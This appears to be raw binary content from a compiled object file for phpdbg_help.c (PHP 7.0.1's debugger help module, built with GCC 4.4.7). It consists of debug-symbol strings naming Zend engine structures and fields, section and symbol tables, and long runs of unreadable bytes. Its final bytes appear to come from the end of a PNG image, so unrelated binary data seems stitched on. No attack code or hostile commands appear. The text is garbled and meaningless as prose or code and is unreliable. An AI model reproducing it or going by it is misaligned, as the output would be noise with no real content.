_try_catch_elementPzend_try_catch_element[_zend_internal_arg_infozend_internal_arg_info_zend_arg_info zend_arg_info/_zend_op_arrayc _zend_internal_function*!zend_internal_function_zend_function_zend_execute_data!__jmp_buf!__jmp_buf_tag"jmp_buf'"zend_executor_globals"%_zend_stack_%zend_stackj%_zend_objects_store%zend_objects_store%fpu_control_t%zend_arena%_zend_arena%zend_vm_stackA&zend_ini_entry2"_zend_executor_globals='zend_module_entryJ_zend_module_entryH'_zend_module_dep&_zend_vm_stack_zend_function_entry'php_streamF)php_stream_wrapper)php_stream_context)php_stream_filter6*php_stream_notification_func|*php_stream_notifier*_php_stream_notifier)_php_stream_context*php_stream_bucketl+php_stream_bucket_brigade*_php_stream_bucketw+_php_stream_bucket_brigade+php_stream_filter_status_t+_php_stream_filter_opsL,php_stream_filter_opsW,_php_stream_filter_chain,php_stream_filter_chain)_php_stream_filter,_php_stream_statbuf,php_stream_statbuf,_php_stream_ops=.php_stream_opsH._php_stream_wrapper_ops0php_stream_wrapper_opsQ)_php_stream_wrapper'_php_streamL&_zend_ini_entry0sigval0sigval_t2siginfoP2siginfo_t[2__sighandler_t2sigaction%3phpdbg_signal_safe_mem3phpdbg_param_type3phpdbg_param_t3_phpdbg_param4phpdbg_command_handler_t4phpdbg_command_t4_phpdbg_command_t5phpdbg_frame_t5phpdbg_lexer_data5_phpdbg_color_t86phpdbg_color_td6phpdbg_btree_resulto6phpdbg_btree_branchz6_phpdbg_btree_branch6phpdbg_btree7phpdbg_watchtype7phpdbg_watchpoint_t7_phpdbg_watchpoint_t7phpdbg_oplog_entry7_phpdbg_oplog_entry58phpdbg_oplog_list@8_phpdbg_oplog_list8_zend_phpdbg_globals<zend_phpdbg_globals<_phpdbg_help_text_t<phpdbg_help_text_tPtrait_precedenceszend_object_has_dimension_tcache_slotHashPositionprogressreadbuflen_unused2unset_dimensionzend_object_clone_obj_t_filenozf_new_iterator_phpdbg_paramno_extensionserror_reportingprogress_maxhandleoplogzend_class_iterator_funcs__saved_maskwatch_collisionslinenoop2_typetype_hintsi_uidcurrent_modulephpdbg_globalscommon_zend_internal_arg_infoGNU C 4.4.7 20120313 (Red Hat 4.4.7-23)set_optionstatic_variables_php_stream_bucket_shortbufphpdbg_do_help_aliases_zend_objectop1_typefnamezend_llist_elementisattymodifiablereadhandlersprompt_escape_lenzend_stream_fsizer_tincluded_filesvar_flagsuint16_tphpdbg_command_handler_tSTACK_PARAMcounted_flagswatchpoint_treeinvalidate_currentnextfclose_stdiocast__off_tnTableMask_zend_op_zend_object_handlersst_sizeexception_classprompt_len__getfree_filenamezend_streamorig_pathphpdbg_command_t_lockfunction_tablezend_object_get_tmove_forwardmh_arg1mh_arg2mh_arg3modifierscommands_zend_module_depzend_object_has_property_tpass_by_referencealias_zend_objects_storebranchsubs_phpdbg_watchpoint_told_closerphpdbg_help_text_tinternal_functionzend_ulong_sigchldzend_arg_infoint32_tinfo_func__jmpbufphpdbg_signal_safe_memdepsmaskopcodepromptORIG_PARAMsigactionthis_varflushzend_mm_heapterm_widthprototypeconstructorst_gidsocket_path_timerelementsPSFS_PASS_ONsa_restorerzend_object_get_constructor_t_IO_write_endzend_object_do_operation_tpretty_printwrapperdatast_nlinkpersistent_listname_lenst_ctimfe_iter_idx__sigset_t_php_stream_opschainindexwrapperthiscompile_string_zend_trait_precedencerenamehas_dimensionmodule_shutdown_func__exposed__unsetdefault_properties_tabletrampoline_zend_executor_globalsaddrzend_object_free_obj_tregular_list_killwrite_dimensionget_gc_zend_internal_function_php_stream_filter_opswatch_tmpcallerror_reporting_ini_entryglobals_ctorimplicit_ht_countattrst_atimphpdbg_prompt_commandsreferencecall_method_zend_brk_cont_elementvm_stackphp_stream_opsline_start_zend_arena__clock_tticks_counttypezend_file_handleunlinksival_ptrold_handleproperties_info__uid_tsi_stimephpdbg_param_tstdiocastEVAL_PARAMPSFS_FEED_MEphpdbg_watchpoint_tstream_openercreate_objectopline_before_exception_zend_llistopened_pathzend_off_tmodereadposP_NOTICEzend_stream_type_chainnum_interfaceslast_blank_countinfo__jmp_buf_tag_zend_stackerr_buffinally_opzend_object_count_elements_toriginal_free_functionht_iterators_used_zval_structunsigned charrequest_shutdown_funczend_objectbold_escape_len__blkcnt_t_zend_array_IO_lock_top_arrayclasschunk_sizeuser_exception_handlerexecphpdbg_pagesizeallow_nullinput_buffer_zend_resourcebrigadeSHELL_PARAMline_endllist_dtor_func_tserializephpdbg_btree_branchzend_debugfunction_nameZEND_HANDLE_STREAMsa_flagsphpdbg_frame_tphp_stream_filter_status_tname_in_parentP_ERROR__callstaticfunctionsget_current_keyproperties_tableuint64_t__mode_tP_WRITEzend_object_get_gc_t_zend_vm_stackcompile_file_zend_object_iterator_funcsbrancheszend_object_write_dimension_trewindzend_functioncastbuflenCOND_PARAMphpdbg_oplog_entryrequired_num_argsstdoutjmp_addrmsglenzend_stat_t_IO_write_ptrfn_flagsWATCH_ON_ZVALjmp_bufbold_on_escapein_bold_zend_mm_heapmethod_namezend_object_write_property_t_zend_module_entryopline_numzend_trait_aliaslinetraverse_ptrnApplyCountclosefree_list_headsizevm_stack_endinterfacesFILE_zend_op_arrayopcodesold_sigsegv_signalmodule_startup_funcreadbufsize_treq_idtry_op_phpdbg_oplog_listseek_exzend_opnNumOfElementsget_helpzend_reference_zend_phpdbg_globalsdtor_func_tzend_object_unset_dimension_tget_methodclass_nameparamget_property_ptr_ptrbailout_zend_valuelval_IO_save_basephp_stream_contextis_url__jmp_bufcurrent_execute_datazend_longsa_maskcommandSTR_PARAMP_STDERRP_LOG__pad2textfilecodeconstants_tableglobals_ptr__nlink_tsi_addrst_inost_modearg_infozend_object_read_dimension_tobjects_storesymbol_tablelong_min_digitsstream_statphp_stream_wrapper_opssummary_printin_freezf_currentzend_arrayread_property_zend_try_catch_elementrefcountvaluesival_intsi_codestream_mkdir_zend_llist_element_nextzend_object_handlers_zend_file_handleexception_op_php_stream_bucket_brigadesocket_fd_php_stream_filter_chaindefault_static_members_tablereservedglobals_sizefpu_control_tzend_new_interned_stringconst_flagsstartcount_elementstimespecexec_lenzend_mmap__valphp_stream_filterzend_object_cast_tconstantst_rdevprompt_escapephp_streamzend_phpdbg_globalsdefault_properties_count__sighandler_tphp_stdiop_writewrapperarg_flagswatchpoint_hitgc_infost_uidcloser_phpdbg_help_text_terror_handling_zend_stringold_heapdestructorlast_varexclude_from_classeslast_brk_contzend_ast_kindresulttrait_method_zend_serialize_dataname_zend_arg_infosymtable_cache_limit_sbuf_IO_save_endin_executionWATCH_ON_REFCOUNTEDzend_object_read_property_tini_entry_HashTableIteratorzend_unserialize_datadval__setregistered__time_tstream_metadatain_autoloadsymtable_cache_ptr_padcloneorig_valuephp_stream_filter_opsfuncsenclosing_streamexit_statussummaryshort unsigned intvmretwatch_HashTablessigned charMETHOD_PARAMis_variadic__blksize_textended_valuenum_matchesnum_argstimeout_secondsfilenamedtorcountcast_objectFILE_PARAMsi_piduser_error_handler_zend_trait_aliaszend_class_entry__off64_tzvalEH_SUPPRESSHashTable_IO_read_basezend_object_unset_property_tearly_binding_offsetini_directivesnIteratorsCountcontoptionsstate_IO_buf_endget_debug_info_BucketThiszend_object_iterator_funcszend_boolwopssocket_server_fdzend_try_catch_elementZEND_HANDLE_FILENAME_modefilterfgetss_state_IO_write_basemodule_phpdbg_btree_branchEMPTY_PARAMfuncht_iteratorsparser_stack_php_stream_wrapperstream_rmdirpDestructorlambda_countzend_internal_arg_infozend_object_get_property_ptr_ptr_tseekzend_serialize_dataphp_stream_statbuf_sigpolllong intwritepossa_sigactiondoc_commenttype_flagszend_trait_method_reference__call__mask_was_saved_IO_markerorig_modifiablephp_stream_wrapperphpdbg_do_helpbuiltin_functionslabelphp_stream_bucketwritewrite_propertyzf_nextfree_objlast__sigaction_handlersigvalfull_tables_cleanupuint32_tRUN_PARAM__pid_tline_countuser_error_handler_error_reportingiterator_funcsdisplayerzend_ast_attrzend_constantslong doubleunclean_evalreservedepthHashTableIteratorphpdbg_btree_resultpositionphp_stream_bucket_brigaderequest_startup_funczend_stream_closer_t_zend_mmaplong unsigned intscopecompare_objectsuninitialized_zvalhandled_exceptionphpdbg_btreeglobals_dtorADDR_PARAMget_commandsi_status_zend_ast_refzend_execute_dataphpdbg_watchtypezend_object_get_properties_tprev_exceptionFAILUREcharzend_object_iteratornotifiercalled_scope_zend_functionstdinzend_stringzend_object_dtor_obj_tlast_literal_IO_buf_baselexerZEND_HANDLE_MAPPEDtry_catch_arraydtor_objzend_object_get_method_tprecision__dev_tstream_closerzend_stream_reader_tlast_line_IO_read_endis_persistentmodifiedfopsoplog_listresult_typereadfiltersdo_operation_IO_FILEwritefiltersbrk_cont_arrayclone_obj_sifieldslast_new_blankht_iterators_countarDatabuffer_zend_refcounted_hinit_compile_filebp_countreturn_valuezf_validzend_objects_store__s1_lensi_signo__debugInfobuild_idbold_off_escapetrait_aliases__pad1__pad3__pad4__pad5si_errnodefault_static_members_countabstractc_sub_markers_pos_php_stream_contextget_static_method_php_stream_notifierautoload_funcsi_bandP_STDOUT_php_stream_filter__s2_lentailexecute_dataoplog_arenatip_lendoublesiginfozend_arenasigsegv_bailoutWATCH_ON_HASHTABLEunset_property_znode_opst_devpropertiesargszend_trait_precedencenNumUsedsapi_name_ptrget_propertiessaved_fpu_cwphp_stream_filter_chainerror_zvalPSFS_ERR_FATALget_current_datazend_executor_globalshas_propertydatazend_object_get_class_name_t__tostringget_closure_zend_class_entryzend_llistheadht_iterators_slotsliteralsheapobject_buckets_zend_class_iterator_funcscolorsget_class_namevm_stack_topsigval_tzend_stackzend_brk_cont_elementzend_object_compare_zvals_tin_script_xml_phpdbg_color_tprev_execute_datazend_internal_function__isset_php_stream_wrapper_opsphpdbg_help_commands__gid_tinterface_gets_implementedphpdbg_param_type_zend_function_entrytraitsdir_openerwatchlist_memNUMERIC_FILE_PARAM_sigfault_zend_referencewatchpointssi_utimetv_secctxmarker_zend_ini_entryinput_buflenlong long unsigned intparentoffsetsa_handler_cur_columnfe_poskindvalid_symbol_tablesi_fdBucketmodule_started_phpdbg_oplog_entrysymtable_cachezend_object_set_tst_blocksread_dimensionfsizerNUMERIC_PARAMSUCCESSnTableSizeurl_statcatch_opzend_refcounted_hzend_module_entry_IO_backup_basephp_stream_notifier_IO_read_ptrparent_containertype_infoget_iteratorinternalzend_resourceNUMERIC_METHOD_PARAMassertionssigsafe_memname_lengthmarkerxmllenvarszend_ucharsi_overrunEH_NORMAL_phpdbg_command_tce_flags_zend_object_iteratorcache_size_zend_stream_old_offsetfinally_endrun_time_cachesiginfo_texception_zend_unserialize_datastatic_members_tableretvalzend_vm_stack_php_streamcomparelong long intpersistent_flags2phpdbg_color_tsaved_fpu_cw_ptrpost_deactivate_funcP_WRITELNhandlerreader/opt/php-7.0.1/sapi/phpdbg/phpdbg_help.ccursortv_nsec_zend_trait_method_referencezend_ast_refown_bufzend_object_get_closure_tzf_keyunserialize_funcnNextFreeElementclass_tablevalidallocated__ino_tzf_rewindZEND_HANDLE_FDuserunserializezend_ini_entry_zend_refcountedZEND_HANDLE_FPNUMERIC_FUNCTION_PARAMzend_apiget_constructormodified_ini_directivesfile_sources_zend_astnum_traitsuser_error_handlers_error_reportingOP_PARAMsi_tidzend_object_get_debug_info_tphpdbg_lexer_datazend_valuelast_was_newlinemodule_number__u_quad_tuser_exception_handlersst_blksizezend_op_arraycall_trampoline_opexecutor_globalsphpdbg_help_textznode_opversionoplog_cur__unused4__unused5zend_refcounted_zend_execute_datamethodunsigned intphpdbg_oplog_listoplinestreamnInternalPointerzend_object_compare_tst_mtimactivezend_object_call_method_tshort intserialize_funcchildsi_sigvalprev_vtable_offsetlinesframezend_astmmapphp_stream_notification_func_php_stream_statbuflast_try_catchzend_error_handling_ton_modifystatflags__quad_tEH_THROWuser_error_handlersGCC: (GNU) 4.4.7 20120313 (Red Hat 4.4.7-23)|,AB
DCX
AAAC0TAB
CMm
AAFIAA<AB
Ii
AAAHU
AAAA(AB
nMAAANAB
J(pAB
IGb

AB.symtab.strtab.shstrtab.rel.text.rel.data.bss.debug_abbrev.rel.debug_info.rel.debug_line.rodata.str1.1.rodata.str1.4.rel.rodata.rel.debug_loc.rel.debug_pubnames.rel.debug_pubtypes.rel.debug_aranges.debug_str.comment.note.GNU-stack.rel.debug_frame@P	) %	/	4	F@B	pVVMR	D$	b2mR5q2T[@ 	L$
0	$	$	$" 	$0B)0.0	$`H,	H	T
$,=DQcjy
N$p3
phpdbg_help.cget_commandget_helpstrncmpphpdbg_help_textstrcmppretty_printphpdbg_get_promptstrlenphpdbg_globalsphpdbg_get_terminal_width_emallocphpdbg_out_internal_efreephpdbg_printphpdbg_xml_internalmemcpyphpdbg_do_help_aliasesphpdbg_prompt_commandssummary_printspprintfphpdbg_do_helpphpdbg_help_commands4	(08=	E^	c	tzfn	z			 	!!""
	"	2 7?	G!M$T$a$			 	$	-= Q^	f!s	z$			 	!	$,	5E RZ	b!g	t&	2$S$Z$c$%	%	 +(				 	$(	,0	48	<@	DH	LP	TX	\`	dh	lp	tx	|													$+0DKP]bot%0;HSl
'4AN[hu
&4BP^mt#.:FR^jv!.;HUbo|'3@MZgt*7DQ^kx(5BO\iv&	1	R	^	j	v										


#
<
I
d
o







R^it,?KWc
!
-
9
P
[








5bms&9DOp{t'3?KWco{ 39?EKR]9KWco{%1=Vamy'3KWco#0=JWdq/_*Z4p,Wb%0=JWdq~&4BP^lz$0<HT`my	 ,8DQ\iv    d q ~          !+!@!M!Z!g!t!!!!!!!!!"
"("3"@"L"X"d"q"~""""""""""#
##'#4#A#N#[#h#u###########$$$+$8$E$R$_$l$y$$$$$$$$$$$%%#%/%S%`%k%w%%%%%%%%&&5&B&M&Y&e&q&}&&&&&&&&&>'I'U'm'y'''	((!(-(9(E(Q(](i((((((((())),)9)G)R)^)j)v)))))))))))***7*}********+++$+<+H+T+`+m+x+++++++++++M,X,d,p,|,,,,,,,,,,--#-/->.I.U.a.m.y........000000000011&1;1G1S1_1k11111111112 2,282D2Q2\2o2z222222233&393?3E3K3Q3W3]3l3r3x3~33333333333333333444C4d4p4444444455#5/5;5G5S555555555556696e6p6{6666666667777)757A7M7Y7e7q7}77777788868A8M8Y8888899%929?9L9Y9f9s99999999999:":0:>:L:Z:h:v::::::::;;;+;9;G;U;c;q;;;;;;;;;<<<<<<<<
<
<=
==
 =*=
6=A=E=Z=
g=
l=p=u=======
=
=
==
=>>>">
'>5>?>
D>N>
S>]>
b>l>
q>{>
>>
>>>>>>
>
>>>?#?.?2?=?U?
b?
h?u??????@'@9@F@S@`@m@z@@(@@@@		#$(	0	@$P	X	h$x		$		$KHL|
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`